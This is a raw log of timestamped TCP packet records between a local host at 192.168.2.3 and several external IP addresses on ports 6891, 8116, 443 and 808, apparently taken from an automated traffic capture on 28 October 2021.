Oct 28, 2021 05:03:51.231339931 CEST	49751	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:51.315144062 CEST	6891	49752	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:51.315253019 CEST	49752	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:51.316704988 CEST	49752	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:51.316798925 CEST	49752	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:51.397002935 CEST	6891	49751	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:51.481105089 CEST	49753	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:51.482367039 CEST	6891	49752	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:51.482387066 CEST	6891	49752	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:51.518697977 CEST	6891	49752	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:51.528605938 CEST	8116	49753	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:51.528825045 CEST	49753	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:51.530453920 CEST	49753	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:51.577909946 CEST	8116	49753	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:51.588047028 CEST	8116	49753	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:51.588083029 CEST	8116	49753	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:51.588191032 CEST	49753	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:51.588768959 CEST	49753	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:51.595508099 CEST	49753	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:51.644098043 CEST	8116	49753	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:51.644237995 CEST	49753	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:51.644934893 CEST	49753	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:51.645049095 CEST	49753	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:51.692429066 CEST	8116	49753	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:51.692631006 CEST	8116	49753	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:51.871201038 CEST	6891	49752	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:51.871236086 CEST	6891	49752	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:51.871303082 CEST	49752	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:51.871340990 CEST	49752	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:51.873723030 CEST	49752	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:51.893250942 CEST	8116	49753	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:51.893292904 CEST	8116	49753	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:51.893441916 CEST	49753	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:51.899528027 CEST	49753	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:51.946662903 CEST	8116	49753	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:52.021616936 CEST	49754	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:52.021653891 CEST	443	49754	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:52.021743059 CEST	49754	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:52.022341013 CEST	49754	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:52.022360086 CEST	443	49754	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:52.039000988 CEST	6891	49752	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:52.062366009 CEST	49755	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:52.121874094 CEST	8116	49755	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:52.122030973 CEST	49755	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:52.123192072 CEST	49755	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:52.182610035 CEST	8116	49755	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:52.192171097 CEST	8116	49755	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:52.192199945 CEST	8116	49755	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:52.192363024 CEST	49755	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:52.199007034 CEST	49755	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:52.259263039 CEST	8116	49755	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:52.259617090 CEST	49755	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:52.260236979 CEST	49755	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:52.260453939 CEST	49755	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:52.319981098 CEST	8116	49755	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:52.320933104 CEST	8116	49755	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:52.496052980 CEST	8116	49755	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:52.496097088 CEST	8116	49755	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:52.499171019 CEST	49755	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:52.499222994 CEST	49755	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:52.537789106 CEST	443	49754	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:52.537961960 CEST	49754	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:52.538640976 CEST	49754	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:52.538652897 CEST	443	49754	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:52.546516895 CEST	49754	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:52.546539068 CEST	443	49754	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:52.546654940 CEST	49754	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:52.546669006 CEST	443	49754	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:52.559122086 CEST	8116	49755	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:52.625154972 CEST	49756	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:52.625200033 CEST	443	49756	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:52.627638102 CEST	49756	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:52.629096985 CEST	49756	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:52.629117012 CEST	443	49756	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:53.131973982 CEST	443	49756	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:53.132222891 CEST	49756	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:53.133167982 CEST	49756	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:53.133177996 CEST	443	49756	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:53.140389919 CEST	49756	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:53.140397072 CEST	443	49756	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:53.140512943 CEST	49756	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:53.140521049 CEST	443	49756	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:53.257715940 CEST	443	49754	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:53.257797003 CEST	443	49754	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:53.257858992 CEST	49754	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:53.257929087 CEST	49754	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:53.266868114 CEST	49754	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:53.266904116 CEST	443	49754	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:53.412259102 CEST	49757	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:53.574443102 CEST	808	49757	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:53.574587107 CEST	49757	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:53.576162100 CEST	49757	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:53.738267899 CEST	808	49757	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:53.738379002 CEST	808	49757	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:53.738509893 CEST	49757	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:53.739412069 CEST	49757	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:53.749553919 CEST	49757	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:53.749711990 CEST	49757	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:53.835239887 CEST	443	49756	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:53.835306883 CEST	443	49756	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:53.835551977 CEST	49756	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:53.841228008 CEST	49756	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:53.841254950 CEST	443	49756	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:53.901587963 CEST	808	49757	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:53.911746979 CEST	808	49757	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:53.911780119 CEST	808	49757	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:53.911807060 CEST	808	49757	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:53.911834002 CEST	808	49757	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:54.015451908 CEST	49758	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:54.180916071 CEST	808	49758	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:54.181087017 CEST	49758	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:54.182287931 CEST	49758	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:54.309271097 CEST	808	49757	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:54.309292078 CEST	808	49757	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:54.309386015 CEST	49757	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:54.309443951 CEST	49757	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:54.319304943 CEST	49757	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:54.346824884 CEST	808	49758	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:54.346910000 CEST	808	49758	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:54.346972942 CEST	49758	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:54.348644972 CEST	49758	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:54.354023933 CEST	49758	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:54.354159117 CEST	49758	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:54.443418980 CEST	49759	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:54.481704950 CEST	808	49757	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:54.513303995 CEST	808	49758	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:54.518737078 CEST	808	49758	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:54.518779039 CEST	808	49758	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:54.518802881 CEST	808	49758	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:54.612456083 CEST	6891	49759	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:54.612673998 CEST	49759	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:54.613903046 CEST	49759	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:54.779267073 CEST	6891	49759	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:54.779333115 CEST	6891	49759	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:54.779418945 CEST	49759	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:54.779930115 CEST	49759	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:54.784296036 CEST	49759	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:54.784321070 CEST	49759	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:54.908327103 CEST	808	49758	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:54.908358097 CEST	808	49758	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:54.908463955 CEST	49758	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:54.911830902 CEST	49758	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:54.949750900 CEST	6891	49759	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:54.949773073 CEST	6891	49759	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:55.025017023 CEST	49760	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:55.076550961 CEST	808	49758	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:55.193217993 CEST	6891	49760	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:55.193387985 CEST	49760	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:55.197841883 CEST	49760	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:55.337830067 CEST	6891	49759	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:55.337858915 CEST	6891	49759	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:55.338043928 CEST	49759	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:55.345714092 CEST	49759	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:55.364028931 CEST	6891	49760	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:55.364152908 CEST	6891	49760	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:55.364299059 CEST	49760	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:55.364993095 CEST	49760	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:55.370857954 CEST	49760	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:55.370965958 CEST	49760	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:55.458789110 CEST	49761	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:55.506791115 CEST	8116	49761	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:55.506992102 CEST	49761	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:55.507874012 CEST	49761	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:55.511058092 CEST	6891	49759	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:55.537136078 CEST	6891	49760	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:55.537154913 CEST	6891	49760	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:55.555372953 CEST	8116	49761	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:55.555690050 CEST	8116	49761	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:55.559921026 CEST	49761	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:55.559947968 CEST	49761	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:55.561621904 CEST	49761	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:55.561769009 CEST	49761	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:55.609122992 CEST	8116	49761	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:55.609476089 CEST	8116	49761	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:55.609882116 CEST	8116	49761	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:55.800040960 CEST	8116	49761	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:55.800148964 CEST	8116	49761	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:55.800273895 CEST	49761	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:55.800360918 CEST	49761	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:55.807703972 CEST	49761	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:55.855084896 CEST	8116	49761	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:55.922698975 CEST	6891	49760	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:55.922734976 CEST	6891	49760	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:55.923027992 CEST	49760	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:55.928519011 CEST	49760	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:55.932645082 CEST	49762	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:55.932693958 CEST	443	49762	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:55.932775021 CEST	49762	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:55.933512926 CEST	49762	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:55.933537960 CEST	443	49762	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:56.041253090 CEST	49763	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:56.095161915 CEST	6891	49760	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:56.098570108 CEST	8116	49763	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:56.098716974 CEST	49763	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:56.099486113 CEST	49763	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:56.157908916 CEST	8116	49763	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:56.157932043 CEST	8116	49763	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:56.158030033 CEST	49763	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:56.158729076 CEST	49763	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:56.163908958 CEST	49763	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:56.164149046 CEST	49763	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:56.222713947 CEST	8116	49763	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:56.222915888 CEST	8116	49763	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:56.223350048 CEST	8116	49763	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:56.223612070 CEST	8116	49763	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:56.396506071 CEST	8116	49763	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:56.396532059 CEST	8116	49763	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:56.396846056 CEST	49763	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:56.400244951 CEST	49763	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:56.400284052 CEST	49763	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:56.424242973 CEST	443	49762	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:56.424350977 CEST	49762	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:56.425259113 CEST	49762	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:56.425276041 CEST	443	49762	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:56.442874908 CEST	49762	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:56.442898035 CEST	443	49762	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:56.442965031 CEST	49762	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:56.442975998 CEST	443	49762	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:56.457936049 CEST	8116	49763	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:56.523772001 CEST	49764	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:56.523812056 CEST	443	49764	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:56.523946047 CEST	49764	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:56.524625063 CEST	49764	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:56.524640083 CEST	443	49764	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:57.040482998 CEST	443	49764	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:57.040591002 CEST	49764	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:57.041399002 CEST	49764	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:57.041419029 CEST	443	49764	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:57.045712948 CEST	49764	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:57.045736074 CEST	443	49764	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:57.045804977 CEST	49764	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:57.045821905 CEST	443	49764	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:57.168684006 CEST	443	49762	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:57.168759108 CEST	443	49762	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:57.169049978 CEST	49762	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:57.181597948 CEST	49762	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:57.181633949 CEST	443	49762	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:57.334983110 CEST	49765	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:57.497178078 CEST	808	49765	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:57.497277021 CEST	49765	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:57.497895956 CEST	49765	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:57.659934998 CEST	808	49765	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:57.660164118 CEST	808	49765	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:57.660240889 CEST	49765	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:57.661606073 CEST	49765	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:57.666033030 CEST	49765	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:57.666122913 CEST	49765	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:57.754899979 CEST	443	49764	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:57.754998922 CEST	49764	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:57.755018950 CEST	443	49764	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:57.755039930 CEST	443	49764	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:57.755085945 CEST	49764	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:57.755115032 CEST	49764	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:57.757997990 CEST	49764	443	192.168.2.3	192.46.210.220
Oct 28, 2021 05:03:57.758014917 CEST	443	49764	192.46.210.220	192.168.2.3
Oct 28, 2021 05:03:57.823543072 CEST	808	49765	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:57.828061104 CEST	808	49765	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:57.828099966 CEST	808	49765	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:57.828129053 CEST	808	49765	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:57.883550882 CEST	49766	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:58.041692019 CEST	808	49766	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.041832924 CEST	49766	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:58.042584896 CEST	49766	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:58.200790882 CEST	808	49766	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.200815916 CEST	808	49766	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.200898886 CEST	49766	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:58.201334953 CEST	49766	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:58.205291986 CEST	49766	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:58.205413103 CEST	49766	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:58.212774038 CEST	808	49765	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.212799072 CEST	808	49765	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.212876081 CEST	49765	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:58.212907076 CEST	49765	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:58.218430996 CEST	49765	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:58.334944963 CEST	49767	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:58.359193087 CEST	808	49766	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.363137007 CEST	808	49766	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.363153934 CEST	808	49766	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.363168955 CEST	808	49766	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.363183975 CEST	808	49766	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.363260031 CEST	808	49766	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.380641937 CEST	808	49765	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.502336025 CEST	6891	49767	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:58.502545118 CEST	49767	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:58.504019976 CEST	49767	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:58.670336962 CEST	6891	49767	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:58.670356035 CEST	6891	49767	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:58.670449018 CEST	49767	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:58.671221972 CEST	49767	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:58.676801920 CEST	49767	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:58.676924944 CEST	49767	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:58.743447065 CEST	808	49766	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.743468046 CEST	808	49766	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:58.743695974 CEST	49766	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:58.743769884 CEST	49766	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:58.746946096 CEST	49766	808	192.168.2.3	143.244.140.214
Oct 28, 2021 05:03:58.843122959 CEST	6891	49767	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:58.843236923 CEST	6891	49767	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:58.874368906 CEST	49768	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:58.904936075 CEST	808	49766	143.244.140.214	192.168.2.3
Oct 28, 2021 05:03:59.040075064 CEST	6891	49768	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:59.040298939 CEST	49768	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:59.041719913 CEST	49768	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:59.207025051 CEST	6891	49768	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:59.207124949 CEST	6891	49768	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:59.207254887 CEST	49768	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:59.208086967 CEST	49768	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:59.215229034 CEST	49768	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:59.215344906 CEST	49768	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:59.242723942 CEST	6891	49767	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:59.242752075 CEST	6891	49767	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:59.242944956 CEST	49767	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:59.242973089 CEST	49767	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:59.248737097 CEST	49767	6891	192.168.2.3	45.77.0.96
Oct 28, 2021 05:03:59.366219997 CEST	49769	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.380508900 CEST	6891	49768	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:59.380548954 CEST	6891	49768	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:59.380558968 CEST	6891	49768	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:59.415139914 CEST	6891	49767	45.77.0.96	192.168.2.3
Oct 28, 2021 05:03:59.418488979 CEST	8116	49769	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:59.418657064 CEST	49769	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.419308901 CEST	49769	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.471189976 CEST	8116	49769	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:59.471426964 CEST	8116	49769	185.56.219.47	192.168.2.3
Oct 28, 2021 05:03:59.471507072 CEST	49769	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.472115040 CEST	49769	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.477365971 CEST	49769	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.477397919 CEST	49769	8116	192.168.2.3	185.56.219.47
Oct 28, 2021 05:03:59.529454947 CEST	8116	49769	185.56.219.47	192.168.2.3
